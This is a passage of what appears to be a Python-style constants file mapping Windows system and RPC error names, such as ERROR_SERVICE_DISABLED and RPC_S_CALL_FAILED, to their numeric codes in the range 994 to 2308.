ERROR_EA_ACCESS_DENIED = 994
ERROR_OPERATION_ABORTED = 995
ERROR_IO_INCOMPLETE = 996
ERROR_IO_PENDING = 997
ERROR_NOACCESS = 998
ERROR_SWAPERROR = 999
ERROR_STACK_OVERFLOW = 1001
ERROR_INVALID_MESSAGE = 1002
ERROR_CAN_NOT_COMPLETE = 1003
ERROR_INVALID_FLAGS = 1004
ERROR_UNRECOGNIZED_VOLUME = 1005
ERROR_FILE_INVALID = 1006
ERROR_FULLSCREEN_MODE = 1007
ERROR_NO_TOKEN = 1008
ERROR_BADDB = 1009
ERROR_BADKEY = 1010
ERROR_CANTOPEN = 1011
ERROR_CANTREAD = 1012
ERROR_CANTWRITE = 1013
ERROR_REGISTRY_RECOVERED = 1014
ERROR_REGISTRY_CORRUPT = 1015
ERROR_REGISTRY_IO_FAILED = 1016
ERROR_NOT_REGISTRY_FILE = 1017
ERROR_KEY_DELETED = 1018
ERROR_NO_LOG_SPACE = 1019
ERROR_KEY_HAS_CHILDREN = 1020
ERROR_CHILD_MUST_BE_VOLATILE = 1021
ERROR_NOTIFY_ENUM_DIR = 1022
ERROR_DEPENDENT_SERVICES_RUNNING = 1051
ERROR_INVALID_SERVICE_CONTROL = 1052
ERROR_SERVICE_REQUEST_TIMEOUT = 1053
ERROR_SERVICE_NO_THREAD = 1054
ERROR_SERVICE_DATABASE_LOCKED = 1055
ERROR_SERVICE_ALREADY_RUNNING = 1056
ERROR_INVALID_SERVICE_ACCOUNT = 1057
ERROR_SERVICE_DISABLED = 1058
ERROR_CIRCULAR_DEPENDENCY = 1059
ERROR_SERVICE_DOES_NOT_EXIST = 1060
ERROR_SERVICE_CANNOT_ACCEPT_CTRL = 1061
ERROR_SERVICE_NOT_ACTIVE = 1062
ERROR_FAILED_SERVICE_CONTROLLER_CONNECT = 1063
ERROR_EXCEPTION_IN_SERVICE = 1064
ERROR_DATABASE_DOES_NOT_EXIST = 1065
ERROR_SERVICE_SPECIFIC_ERROR = 1066
ERROR_PROCESS_ABORTED = 1067
ERROR_SERVICE_DEPENDENCY_FAIL = 1068
ERROR_SERVICE_LOGON_FAILED = 1069
ERROR_SERVICE_START_HANG = 1070
ERROR_INVALID_SERVICE_LOCK = 1071
ERROR_SERVICE_MARKED_FOR_DELETE = 1072
ERROR_SERVICE_EXISTS = 1073
ERROR_ALREADY_RUNNING_LKG = 1074
ERROR_SERVICE_DEPENDENCY_DELETED = 1075
ERROR_BOOT_ALREADY_ACCEPTED = 1076
ERROR_SERVICE_NEVER_STARTED = 1077
ERROR_DUPLICATE_SERVICE_NAME = 1078
ERROR_DIFFERENT_SERVICE_ACCOUNT = 1079
ERROR_CANNOT_DETECT_DRIVER_FAILURE = 1080
ERROR_CANNOT_DETECT_PROCESS_ABORT = 1081
ERROR_NO_RECOVERY_PROGRAM = 1082
ERROR_SERVICE_NOT_IN_EXE = 1083
ERROR_NOT_SAFEBOOT_SERVICE = 1084
ERROR_END_OF_MEDIA = 1100
ERROR_FILEMARK_DETECTED = 1101
ERROR_BEGINNING_OF_MEDIA = 1102
ERROR_SETMARK_DETECTED = 1103
ERROR_NO_DATA_DETECTED = 1104
ERROR_PARTITION_FAILURE = 1105
ERROR_INVALID_BLOCK_LENGTH = 1106
ERROR_DEVICE_NOT_PARTITIONED = 1107
ERROR_UNABLE_TO_LOCK_MEDIA = 1108
ERROR_UNABLE_TO_UNLOAD_MEDIA = 1109
ERROR_MEDIA_CHANGED = 1110
ERROR_BUS_RESET = 1111
ERROR_NO_MEDIA_IN_DRIVE = 1112
ERROR_NO_UNICODE_TRANSLATION = 1113
ERROR_DLL_INIT_FAILED = 1114
ERROR_SHUTDOWN_IN_PROGRESS = 1115
ERROR_NO_SHUTDOWN_IN_PROGRESS = 1116
ERROR_IO_DEVICE = 1117
ERROR_SERIAL_NO_DEVICE = 1118
ERROR_IRQ_BUSY = 1119
ERROR_MORE_WRITES = 1120
ERROR_COUNTER_TIMEOUT = 1121
ERROR_FLOPPY_ID_MARK_NOT_FOUND = 1122
ERROR_FLOPPY_WRONG_CYLINDER = 1123
ERROR_FLOPPY_UNKNOWN_ERROR = 1124
ERROR_FLOPPY_BAD_REGISTERS = 1125
ERROR_DISK_RECALIBRATE_FAILED = 1126
ERROR_DISK_OPERATION_FAILED = 1127
ERROR_DISK_RESET_FAILED = 1128
ERROR_EOM_OVERFLOW = 1129
ERROR_NOT_ENOUGH_SERVER_MEMORY = 1130
ERROR_POSSIBLE_DEADLOCK = 1131
ERROR_MAPPED_ALIGNMENT = 1132
ERROR_SET_POWER_STATE_VETOED = 1140
ERROR_SET_POWER_STATE_FAILED = 1141
ERROR_TOO_MANY_LINKS = 1142
ERROR_OLD_WIN_VERSION = 1150
ERROR_APP_WRONG_OS = 1151
ERROR_SINGLE_INSTANCE_APP = 1152
ERROR_RMODE_APP = 1153
ERROR_INVALID_DLL = 1154
ERROR_NO_ASSOCIATION = 1155
ERROR_DDE_FAIL = 1156
ERROR_DLL_NOT_FOUND = 1157
ERROR_NO_MORE_USER_HANDLES = 1158
ERROR_MESSAGE_SYNC_ONLY = 1159
ERROR_SOURCE_ELEMENT_EMPTY = 1160
ERROR_DESTINATION_ELEMENT_FULL = 1161
ERROR_ILLEGAL_ELEMENT_ADDRESS = 1162
ERROR_MAGAZINE_NOT_PRESENT = 1163
ERROR_DEVICE_REINITIALIZATION_NEEDED = 1164
ERROR_DEVICE_REQUIRES_CLEANING = 1165
ERROR_DEVICE_DOOR_OPEN = 1166
ERROR_DEVICE_NOT_CONNECTED = 1167
ERROR_NOT_FOUND = 1168
ERROR_NO_MATCH = 1169
ERROR_SET_NOT_FOUND = 1170
ERROR_POINT_NOT_FOUND = 1171
ERROR_NO_TRACKING_SERVICE = 1172
ERROR_NO_VOLUME_ID = 1173
ERROR_CONNECTED_OTHER_PASSWORD = 2108
ERROR_BAD_USERNAME = 2202
ERROR_NOT_CONNECTED = 2250
ERROR_OPEN_FILES = 2401
ERROR_ACTIVE_CONNECTIONS = 2402
ERROR_DEVICE_IN_USE = 2404
ERROR_BAD_DEVICE = 1200
ERROR_CONNECTION_UNAVAIL = 1201
ERROR_DEVICE_ALREADY_REMEMBERED = 1202
ERROR_NO_NET_OR_BAD_PATH = 1203
ERROR_BAD_PROVIDER = 1204
ERROR_CANNOT_OPEN_PROFILE = 1205
ERROR_BAD_PROFILE = 1206
ERROR_NOT_CONTAINER = 1207
ERROR_EXTENDED_ERROR = 1208
ERROR_INVALID_GROUPNAME = 1209
ERROR_INVALID_COMPUTERNAME = 1210
ERROR_INVALID_EVENTNAME = 1211
ERROR_INVALID_DOMAINNAME = 1212
ERROR_INVALID_SERVICENAME = 1213
ERROR_INVALID_NETNAME = 1214
ERROR_INVALID_SHARENAME = 1215
ERROR_INVALID_PASSWORDNAME = 1216
ERROR_INVALID_MESSAGENAME = 1217
ERROR_INVALID_MESSAGEDEST = 1218
ERROR_SESSION_CREDENTIAL_CONFLICT = 1219
ERROR_REMOTE_SESSION_LIMIT_EXCEEDED = 1220
ERROR_DUP_DOMAINNAME = 1221
ERROR_NO_NETWORK = 1222
ERROR_CANCELLED = 1223
ERROR_USER_MAPPED_FILE = 1224
ERROR_CONNECTION_REFUSED = 1225
ERROR_GRACEFUL_DISCONNECT = 1226
ERROR_ADDRESS_ALREADY_ASSOCIATED = 1227
ERROR_ADDRESS_NOT_ASSOCIATED = 1228
ERROR_CONNECTION_INVALID = 1229
ERROR_CONNECTION_ACTIVE = 1230
ERROR_NETWORK_UNREACHABLE = 1231
ERROR_HOST_UNREACHABLE = 1232
ERROR_PROTOCOL_UNREACHABLE = 1233
ERROR_PORT_UNREACHABLE = 1234
ERROR_REQUEST_ABORTED = 1235
ERROR_CONNECTION_ABORTED = 1236
ERROR_RETRY = 1237
ERROR_CONNECTION_COUNT_LIMIT = 1238
ERROR_LOGIN_TIME_RESTRICTION = 1239
ERROR_LOGIN_WKSTA_RESTRICTION = 1240
ERROR_INCORRECT_ADDRESS = 1241
ERROR_ALREADY_REGISTERED = 1242
ERROR_SERVICE_NOT_FOUND = 1243
ERROR_NOT_AUTHENTICATED = 1244
ERROR_NOT_LOGGED_ON = 1245
ERROR_CONTINUE = 1246
ERROR_ALREADY_INITIALIZED = 1247
ERROR_NO_MORE_DEVICES = 1248
ERROR_NO_SUCH_SITE = 1249
ERROR_DOMAIN_CONTROLLER_EXISTS = 1250
ERROR_DS_NOT_INSTALLED = 1251
ERROR_NOT_ALL_ASSIGNED = 1300
ERROR_SOME_NOT_MAPPED = 1301
ERROR_NO_QUOTAS_FOR_ACCOUNT = 1302
ERROR_LOCAL_USER_SESSION_KEY = 1303
ERROR_NULL_LM_PASSWORD = 1304
ERROR_UNKNOWN_REVISION = 1305
ERROR_REVISION_MISMATCH = 1306
ERROR_INVALID_OWNER = 1307
ERROR_INVALID_PRIMARY_GROUP = 1308
ERROR_NO_IMPERSONATION_TOKEN = 1309
ERROR_CANT_DISABLE_MANDATORY = 1310
ERROR_NO_LOGON_SERVERS = 1311
ERROR_NO_SUCH_LOGON_SESSION = 1312
ERROR_NO_SUCH_PRIVILEGE = 1313
ERROR_PRIVILEGE_NOT_HELD = 1314
ERROR_INVALID_ACCOUNT_NAME = 1315
ERROR_USER_EXISTS = 1316
ERROR_NO_SUCH_USER = 1317
ERROR_GROUP_EXISTS = 1318
ERROR_NO_SUCH_GROUP = 1319
ERROR_MEMBER_IN_GROUP = 1320
ERROR_MEMBER_NOT_IN_GROUP = 1321
ERROR_LAST_ADMIN = 1322
ERROR_WRONG_PASSWORD = 1323
ERROR_ILL_FORMED_PASSWORD = 1324
ERROR_PASSWORD_RESTRICTION = 1325
ERROR_LOGON_FAILURE = 1326
ERROR_ACCOUNT_RESTRICTION = 1327
ERROR_INVALID_LOGON_HOURS = 1328
ERROR_INVALID_WORKSTATION = 1329
ERROR_PASSWORD_EXPIRED = 1330
ERROR_ACCOUNT_DISABLED = 1331
ERROR_NONE_MAPPED = 1332
ERROR_TOO_MANY_LUIDS_REQUESTED = 1333
ERROR_LUIDS_EXHAUSTED = 1334
ERROR_INVALID_SUB_AUTHORITY = 1335
ERROR_INVALID_ACL = 1336
ERROR_INVALID_SID = 1337
ERROR_INVALID_SECURITY_DESCR = 1338
ERROR_BAD_INHERITANCE_ACL = 1340
ERROR_SERVER_DISABLED = 1341
ERROR_SERVER_NOT_DISABLED = 1342
ERROR_INVALID_ID_AUTHORITY = 1343
ERROR_ALLOTTED_SPACE_EXCEEDED = 1344
ERROR_INVALID_GROUP_ATTRIBUTES = 1345
ERROR_BAD_IMPERSONATION_LEVEL = 1346
ERROR_CANT_OPEN_ANONYMOUS = 1347
ERROR_BAD_VALIDATION_CLASS = 1348
ERROR_BAD_TOKEN_TYPE = 1349
ERROR_NO_SECURITY_ON_OBJECT = 1350
ERROR_CANT_ACCESS_DOMAIN_INFO = 1351
ERROR_INVALID_SERVER_STATE = 1352
ERROR_INVALID_DOMAIN_STATE = 1353
ERROR_INVALID_DOMAIN_ROLE = 1354
ERROR_NO_SUCH_DOMAIN = 1355
ERROR_DOMAIN_EXISTS = 1356
ERROR_DOMAIN_LIMIT_EXCEEDED = 1357
ERROR_INTERNAL_DB_CORRUPTION = 1358
ERROR_INTERNAL_ERROR = 1359
ERROR_GENERIC_NOT_MAPPED = 1360
ERROR_BAD_DESCRIPTOR_FORMAT = 1361
ERROR_NOT_LOGON_PROCESS = 1362
ERROR_LOGON_SESSION_EXISTS = 1363
ERROR_NO_SUCH_PACKAGE = 1364
ERROR_BAD_LOGON_SESSION_STATE = 1365
ERROR_LOGON_SESSION_COLLISION = 1366
ERROR_INVALID_LOGON_TYPE = 1367
ERROR_CANNOT_IMPERSONATE = 1368
ERROR_RXACT_INVALID_STATE = 1369
ERROR_RXACT_COMMIT_FAILURE = 1370
ERROR_SPECIAL_ACCOUNT = 1371
ERROR_SPECIAL_GROUP = 1372
ERROR_SPECIAL_USER = 1373
ERROR_MEMBERS_PRIMARY_GROUP = 1374
ERROR_TOKEN_ALREADY_IN_USE = 1375
ERROR_NO_SUCH_ALIAS = 1376
ERROR_MEMBER_NOT_IN_ALIAS = 1377
ERROR_MEMBER_IN_ALIAS = 1378
ERROR_ALIAS_EXISTS = 1379
ERROR_LOGON_NOT_GRANTED = 1380
ERROR_TOO_MANY_SECRETS = 1381
ERROR_SECRET_TOO_LONG = 1382
ERROR_INTERNAL_DB_ERROR = 1383
ERROR_TOO_MANY_CONTEXT_IDS = 1384
ERROR_LOGON_TYPE_NOT_GRANTED = 1385
ERROR_NT_CROSS_ENCRYPTION_REQUIRED = 1386
ERROR_NO_SUCH_MEMBER = 1387
ERROR_INVALID_MEMBER = 1388
ERROR_TOO_MANY_SIDS = 1389
ERROR_LM_CROSS_ENCRYPTION_REQUIRED = 1390
ERROR_NO_INHERITANCE = 1391
ERROR_FILE_CORRUPT = 1392
ERROR_DISK_CORRUPT = 1393
ERROR_NO_USER_SESSION_KEY = 1394
ERROR_LICENSE_QUOTA_EXCEEDED = 1395
ERROR_INVALID_WINDOW_HANDLE = 1400
ERROR_INVALID_MENU_HANDLE = 1401
ERROR_INVALID_CURSOR_HANDLE = 1402
ERROR_INVALID_ACCEL_HANDLE = 1403
ERROR_INVALID_HOOK_HANDLE = 1404
ERROR_INVALID_DWP_HANDLE = 1405
ERROR_TLW_WITH_WSCHILD = 1406
ERROR_CANNOT_FIND_WND_CLASS = 1407
ERROR_WINDOW_OF_OTHER_THREAD = 1408
ERROR_HOTKEY_ALREADY_REGISTERED = 1409
ERROR_CLASS_ALREADY_EXISTS = 1410
ERROR_CLASS_DOES_NOT_EXIST = 1411
ERROR_CLASS_HAS_WINDOWS = 1412
ERROR_INVALID_INDEX = 1413
ERROR_INVALID_ICON_HANDLE = 1414
ERROR_PRIVATE_DIALOG_INDEX = 1415
ERROR_LISTBOX_ID_NOT_FOUND = 1416
ERROR_NO_WILDCARD_CHARACTERS = 1417
ERROR_CLIPBOARD_NOT_OPEN = 1418
ERROR_HOTKEY_NOT_REGISTERED = 1419
ERROR_WINDOW_NOT_DIALOG = 1420
ERROR_CONTROL_ID_NOT_FOUND = 1421
ERROR_INVALID_COMBOBOX_MESSAGE = 1422
ERROR_WINDOW_NOT_COMBOBOX = 1423
ERROR_INVALID_EDIT_HEIGHT = 1424
ERROR_DC_NOT_FOUND = 1425
ERROR_INVALID_HOOK_FILTER = 1426
ERROR_INVALID_FILTER_PROC = 1427
ERROR_HOOK_NEEDS_HMOD = 1428
ERROR_GLOBAL_ONLY_HOOK = 1429
ERROR_JOURNAL_HOOK_SET = 1430
ERROR_HOOK_NOT_INSTALLED = 1431
ERROR_INVALID_LB_MESSAGE = 1432
ERROR_SETCOUNT_ON_BAD_LB = 1433
ERROR_LB_WITHOUT_TABSTOPS = 1434
ERROR_DESTROY_OBJECT_OF_OTHER_THREAD = 1435
ERROR_CHILD_WINDOW_MENU = 1436
ERROR_NO_SYSTEM_MENU = 1437
ERROR_INVALID_MSGBOX_STYLE = 1438
ERROR_INVALID_SPI_VALUE = 1439
ERROR_SCREEN_ALREADY_LOCKED = 1440
ERROR_HWNDS_HAVE_DIFF_PARENT = 1441
ERROR_NOT_CHILD_WINDOW = 1442
ERROR_INVALID_GW_COMMAND = 1443
ERROR_INVALID_THREAD_ID = 1444
ERROR_NON_MDICHILD_WINDOW = 1445
ERROR_POPUP_ALREADY_ACTIVE = 1446
ERROR_NO_SCROLLBARS = 1447
ERROR_INVALID_SCROLLBAR_RANGE = 1448
ERROR_INVALID_SHOWWIN_COMMAND = 1449
ERROR_NO_SYSTEM_RESOURCES = 1450
ERROR_NONPAGED_SYSTEM_RESOURCES = 1451
ERROR_PAGED_SYSTEM_RESOURCES = 1452
ERROR_WORKING_SET_QUOTA = 1453
ERROR_PAGEFILE_QUOTA = 1454
ERROR_COMMITMENT_LIMIT = 1455
ERROR_MENU_ITEM_NOT_FOUND = 1456
ERROR_INVALID_KEYBOARD_HANDLE = 1457
ERROR_HOOK_TYPE_NOT_ALLOWED = 1458
ERROR_REQUIRES_INTERACTIVE_WINDOWSTATION = 1459
ERROR_TIMEOUT = 1460
ERROR_INVALID_MONITOR_HANDLE = 1461
ERROR_INCORRECT_SIZE = 1462
ERROR_SYMLINK_CLASS_DISABLED = 1463
ERROR_SYMLINK_NOT_SUPPORTED = 1464
ERROR_XML_PARSE_ERROR = 1465
ERROR_XMLDSIG_ERROR = 1466
ERROR_RESTART_APPLICATION = 1467
ERROR_WRONG_COMPARTMENT = 1468
ERROR_AUTHIP_FAILURE = 1469
ERROR_EVENTLOG_FILE_CORRUPT = 1500
ERROR_EVENTLOG_CANT_START = 1501
ERROR_LOG_FILE_FULL = 1502
ERROR_EVENTLOG_FILE_CHANGED = 1503
ERROR_EVENTLOG_FILE_CORRUPT = 1500
ERROR_EVENTLOG_CANT_START = 1501
ERROR_LOG_FILE_FULL = 1502
ERROR_INSTALL_SERVICE = 1601
ERROR_INSTALL_USEREXIT = 1602
ERROR_INSTALL_FAILURE = 1603
ERROR_INSTALL_SUSPEND = 1604
ERROR_UNKNOWN_PRODUCT = 1605
ERROR_UNKNOWN_FEATURE = 1606
ERROR_UNKNOWN_COMPONENT = 1607
ERROR_UNKNOWN_PROPERTY = 1608
ERROR_INVALID_HANDLE_STATE = 1609
ERROR_BAD_CONFIGURATION = 1610
ERROR_INDEX_ABSENT = 1611
ERROR_INSTALL_SOURCE_ABSENT = 1612
ERROR_BAD_DATABASE_VERSION = 1613
ERROR_PRODUCT_UNINSTALLED = 1614
ERROR_BAD_QUERY_SYNTAX = 1615
ERROR_INVALID_FIELD = 1616
ERROR_DEVICE_REMOVED = 1617
ERROR_INSTALL_ALREADY_RUNNING = 1618
ERROR_INSTALL_PACKAGE_OPEN_FAILED = 1619
ERROR_INSTALL_PACKAGE_INVALID = 1620
ERROR_INSTALL_UI_FAILURE = 1621
ERROR_INSTALL_LOG_FAILURE = 1622
ERROR_INSTALL_LANGUAGE_UNSUPPORTED = 1623
ERROR_INSTALL_TRANSFORM_FAILURE = 1624
ERROR_INSTALL_PACKAGE_REJECTED = 1625
ERROR_FUNCTION_NOT_CALLED = 1626
ERROR_FUNCTION_FAILED = 1627
ERROR_INVALID_TABLE = 1628
ERROR_DATATYPE_MISMATCH = 1629
ERROR_UNSUPPORTED_TYPE = 1630
ERROR_CREATE_FAILED = 1631
ERROR_INSTALL_TEMP_UNWRITABLE = 1632
ERROR_INSTALL_PLATFORM_UNSUPPORTED = 1633
ERROR_INSTALL_NOTUSED = 1634
ERROR_PATCH_PACKAGE_OPEN_FAILED = 1635
ERROR_PATCH_PACKAGE_INVALID = 1636
ERROR_PATCH_PACKAGE_UNSUPPORTED = 1637
ERROR_PRODUCT_VERSION = 1638
ERROR_INVALID_COMMAND_LINE = 1639
ERROR_INSTALL_REMOTE_DISALLOWED = 1640
ERROR_SUCCESS_REBOOT_INITIATED = 1641
ERROR_PATCH_TARGET_NOT_FOUND = 1642
ERROR_PATCH_PACKAGE_REJECTED = 1643
ERROR_INSTALL_TRANSFORM_REJECTED = 1644
ERROR_INSTALL_REMOTE_PROHIBITED = 1645
ERROR_PATCH_REMOVAL_UNSUPPORTED = 1646
ERROR_UNKNOWN_PATCH = 1647
ERROR_PATCH_NO_SEQUENCE = 1648
ERROR_PATCH_REMOVAL_DISALLOWED = 1649
ERROR_INVALID_PATCH_XML = 1650
ERROR_PATCH_MANAGED_ADVERTISED_PRODUCT = 1651
ERROR_INSTALL_SERVICE_SAFEBOOT = 1652
RPC_S_INVALID_STRING_BINDING = 1700
RPC_S_WRONG_KIND_OF_BINDING = 1701
RPC_S_INVALID_BINDING = 1702
RPC_S_PROTSEQ_NOT_SUPPORTED = 1703
RPC_S_INVALID_RPC_PROTSEQ = 1704
RPC_S_INVALID_STRING_UUID = 1705
RPC_S_INVALID_ENDPOINT_FORMAT = 1706
RPC_S_INVALID_NET_ADDR = 1707
RPC_S_NO_ENDPOINT_FOUND = 1708
RPC_S_INVALID_TIMEOUT = 1709
RPC_S_OBJECT_NOT_FOUND = 1710
RPC_S_ALREADY_REGISTERED = 1711
RPC_S_TYPE_ALREADY_REGISTERED = 1712
RPC_S_ALREADY_LISTENING = 1713
RPC_S_NO_PROTSEQS_REGISTERED = 1714
RPC_S_NOT_LISTENING = 1715
RPC_S_UNKNOWN_MGR_TYPE = 1716
RPC_S_UNKNOWN_IF = 1717
RPC_S_NO_BINDINGS = 1718
RPC_S_NO_PROTSEQS = 1719
RPC_S_CANT_CREATE_ENDPOINT = 1720
RPC_S_OUT_OF_RESOURCES = 1721
RPC_S_SERVER_UNAVAILABLE = 1722
RPC_S_SERVER_TOO_BUSY = 1723
RPC_S_INVALID_NETWORK_OPTIONS = 1724
RPC_S_NO_CALL_ACTIVE = 1725
RPC_S_CALL_FAILED = 1726
RPC_S_CALL_FAILED_DNE = 1727
RPC_S_PROTOCOL_ERROR = 1728
RPC_S_PROXY_ACCESS_DENIED = 1729
RPC_S_UNSUPPORTED_TRANS_SYN = 1730
RPC_S_UNSUPPORTED_TYPE = 1732
RPC_S_INVALID_TAG = 1733
RPC_S_INVALID_BOUND = 1734
RPC_S_NO_ENTRY_NAME = 1735
RPC_S_INVALID_NAME_SYNTAX = 1736
RPC_S_UNSUPPORTED_NAME_SYNTAX = 1737
RPC_S_UUID_NO_ADDRESS = 1739
RPC_S_DUPLICATE_ENDPOINT = 1740
RPC_S_UNKNOWN_AUTHN_TYPE = 1741
RPC_S_MAX_CALLS_TOO_SMALL = 1742
RPC_S_STRING_TOO_LONG = 1743
RPC_S_PROTSEQ_NOT_FOUND = 1744
RPC_S_PROCNUM_OUT_OF_RANGE = 1745
RPC_S_BINDING_HAS_NO_AUTH = 1746
RPC_S_UNKNOWN_AUTHN_SERVICE = 1747
RPC_S_UNKNOWN_AUTHN_LEVEL = 1748
RPC_S_INVALID_AUTH_IDENTITY = 1749
RPC_S_UNKNOWN_AUTHZ_SERVICE = 1750
EPT_S_INVALID_ENTRY = 1751
EPT_S_CANT_PERFORM_OP = 1752
EPT_S_NOT_REGISTERED = 1753
RPC_S_NOTHING_TO_EXPORT = 1754
RPC_S_INCOMPLETE_NAME = 1755
RPC_S_INVALID_VERS_OPTION = 1756
RPC_S_NO_MORE_MEMBERS = 1757
RPC_S_NOT_ALL_OBJS_UNEXPORTED = 1758
RPC_S_INTERFACE_NOT_FOUND = 1759
RPC_S_ENTRY_ALREADY_EXISTS = 1760
RPC_S_ENTRY_NOT_FOUND = 1761
RPC_S_NAME_SERVICE_UNAVAILABLE = 1762
RPC_S_INVALID_NAF_ID = 1763
RPC_S_CANNOT_SUPPORT = 1764
RPC_S_NO_CONTEXT_AVAILABLE = 1765
RPC_S_INTERNAL_ERROR = 1766
RPC_S_ZERO_DIVIDE = 1767
RPC_S_ADDRESS_ERROR = 1768
RPC_S_FP_DIV_ZERO = 1769
RPC_S_FP_UNDERFLOW = 1770
RPC_S_FP_OVERFLOW = 1771
RPC_X_NO_MORE_ENTRIES = 1772
RPC_X_SS_CHAR_TRANS_OPEN_FAIL = 1773
RPC_X_SS_CHAR_TRANS_SHORT_FILE = 1774
RPC_X_SS_IN_NULL_CONTEXT = 1775
RPC_X_SS_CONTEXT_DAMAGED = 1777
RPC_X_SS_HANDLES_MISMATCH = 1778
RPC_X_SS_CANNOT_GET_CALL_HANDLE = 1779
RPC_X_NULL_REF_POINTER = 1780
RPC_X_ENUM_VALUE_OUT_OF_RANGE = 1781
RPC_X_BYTE_COUNT_TOO_SMALL = 1782
RPC_X_BAD_STUB_DATA = 1783
ERROR_INVALID_USER_BUFFER = 1784
ERROR_UNRECOGNIZED_MEDIA = 1785
ERROR_NO_TRUST_LSA_SECRET = 1786
ERROR_NO_TRUST_SAM_ACCOUNT = 1787
ERROR_TRUSTED_DOMAIN_FAILURE = 1788
ERROR_TRUSTED_RELATIONSHIP_FAILURE = 1789
ERROR_TRUST_FAILURE = 1790
RPC_S_CALL_IN_PROGRESS = 1791
ERROR_NETLOGON_NOT_STARTED = 1792
ERROR_ACCOUNT_EXPIRED = 1793
ERROR_REDIRECTOR_HAS_OPEN_HANDLES = 1794
ERROR_PRINTER_DRIVER_ALREADY_INSTALLED = 1795
ERROR_UNKNOWN_PORT = 1796
ERROR_UNKNOWN_PRINTER_DRIVER = 1797
ERROR_UNKNOWN_PRINTPROCESSOR = 1798
ERROR_INVALID_SEPARATOR_FILE = 1799
ERROR_INVALID_PRIORITY = 1800
ERROR_INVALID_PRINTER_NAME = 1801
ERROR_PRINTER_ALREADY_EXISTS = 1802
ERROR_INVALID_PRINTER_COMMAND = 1803
ERROR_INVALID_DATATYPE = 1804
ERROR_INVALID_ENVIRONMENT = 1805
RPC_S_NO_MORE_BINDINGS = 1806
ERROR_NOLOGON_INTERDOMAIN_TRUST_ACCOUNT = 1807
ERROR_NOLOGON_WORKSTATION_TRUST_ACCOUNT = 1808
ERROR_NOLOGON_SERVER_TRUST_ACCOUNT = 1809
ERROR_DOMAIN_TRUST_INCONSISTENT = 1810
ERROR_SERVER_HAS_OPEN_HANDLES = 1811
ERROR_RESOURCE_DATA_NOT_FOUND = 1812
ERROR_RESOURCE_TYPE_NOT_FOUND = 1813
ERROR_RESOURCE_NAME_NOT_FOUND = 1814
ERROR_RESOURCE_LANG_NOT_FOUND = 1815
ERROR_NOT_ENOUGH_QUOTA = 1816
RPC_S_NO_INTERFACES = 1817
RPC_S_CALL_CANCELLED = 1818
RPC_S_BINDING_INCOMPLETE = 1819
RPC_S_COMM_FAILURE = 1820
RPC_S_UNSUPPORTED_AUTHN_LEVEL = 1821
RPC_S_NO_PRINC_NAME = 1822
RPC_S_NOT_RPC_ERROR = 1823
RPC_S_UUID_LOCAL_ONLY = 1824
RPC_S_SEC_PKG_ERROR = 1825
RPC_S_NOT_CANCELLED = 1826
RPC_X_INVALID_ES_ACTION = 1827
RPC_X_WRONG_ES_VERSION = 1828
RPC_X_WRONG_STUB_VERSION = 1829
RPC_X_INVALID_PIPE_OBJECT = 1830
RPC_X_WRONG_PIPE_ORDER = 1831
RPC_X_WRONG_PIPE_VERSION = 1832
RPC_S_GROUP_MEMBER_NOT_FOUND = 1898
EPT_S_CANT_CREATE = 1899
RPC_S_INVALID_OBJECT = 1900
ERROR_INVALID_TIME = 1901
ERROR_INVALID_FORM_NAME = 1902
ERROR_INVALID_FORM_SIZE = 1903
ERROR_ALREADY_WAITING = 1904
ERROR_PRINTER_DELETED = 1905
ERROR_INVALID_PRINTER_STATE = 1906
ERROR_PASSWORD_MUST_CHANGE = 1907
ERROR_DOMAIN_CONTROLLER_NOT_FOUND = 1908
ERROR_ACCOUNT_LOCKED_OUT = 1909
OR_INVALID_OXID = 1910
OR_INVALID_OID = 1911
OR_INVALID_SET = 1912
RPC_S_SEND_INCOMPLETE = 1913
RPC_S_INVALID_ASYNC_HANDLE = 1914
RPC_S_INVALID_ASYNC_CALL = 1915
RPC_X_PIPE_CLOSED = 1916
RPC_X_PIPE_DISCIPLINE_ERROR = 1917
RPC_X_PIPE_EMPTY = 1918
ERROR_NO_SITENAME = 1919
ERROR_CANT_ACCESS_FILE = 1920
ERROR_CANT_RESOLVE_FILENAME = 1921
RPC_S_ENTRY_TYPE_MISMATCH = 1922
RPC_S_NOT_ALL_OBJS_EXPORTED = 1923
RPC_S_INTERFACE_NOT_EXPORTED = 1924
RPC_S_PROFILE_NOT_ADDED = 1925
RPC_S_PRF_ELT_NOT_ADDED = 1926
RPC_S_PRF_ELT_NOT_REMOVED = 1927
RPC_S_GRP_ELT_NOT_ADDED = 1928
RPC_S_GRP_ELT_NOT_REMOVED = 1929
ERROR_KM_DRIVER_BLOCKED = 1930
ERROR_CONTEXT_EXPIRED = 1931
ERROR_PER_USER_TRUST_QUOTA_EXCEEDED = 1932
ERROR_ALL_USER_TRUST_QUOTA_EXCEEDED = 1933
ERROR_USER_DELETE_TRUST_QUOTA_EXCEEDED = 1934
ERROR_AUTHENTICATION_FIREWALL_FAILED = 1935
ERROR_REMOTE_PRINT_CONNECTIONS_BLOCKED = 1936
ERROR_NTLM_BLOCKED = 1937
ERROR_INVALID_PIXEL_FORMAT = 2000
ERROR_BAD_DRIVER = 2001
ERROR_INVALID_WINDOW_STYLE = 2002
ERROR_METAFILE_NOT_SUPPORTED = 2003
ERROR_TRANSFORM_NOT_SUPPORTED = 2004
ERROR_CLIPPING_NOT_SUPPORTED = 2005
ERROR_INVALID_CMM = 2010
ERROR_INVALID_PROFILE = 2011
ERROR_TAG_NOT_FOUND = 2012
ERROR_TAG_NOT_PRESENT = 2013
ERROR_DUPLICATE_TAG = 2014
ERROR_PROFILE_NOT_ASSOCIATED_WITH_DEVICE = 2015
ERROR_PROFILE_NOT_FOUND = 2016
ERROR_INVALID_COLORSPACE = 2017
ERROR_ICM_NOT_ENABLED = 2018
ERROR_DELETING_ICM_XFORM = 2019
ERROR_INVALID_TRANSFORM = 2020
ERROR_COLORSPACE_MISMATCH = 2021
ERROR_INVALID_COLORINDEX = 2022
ERROR_PROFILE_DOES_NOT_MATCH_DEVICE = 2023
ERROR_CONNECTED_OTHER_PASSWORD = 2108
ERROR_CONNECTED_OTHER_PASSWORD_DEFAULT = 2109
ERROR_BAD_USERNAME = 2202
ERROR_NOT_CONNECTED = 2250
ERROR_INVALID_CMM = 2300
ERROR_INVALID_PROFILE = 2301
ERROR_TAG_NOT_FOUND = 2302
ERROR_TAG_NOT_PRESENT = 2303
ERROR_DUPLICATE_TAG = 2304
ERROR_PROFILE_NOT_ASSOCIATED_WITH_DEVICE = 2305
ERROR_PROFILE_NOT_FOUND = 2306
ERROR_INVALID_COLORSPACE = 2307
ERROR_ICM_NOT_ENABLED = 2308
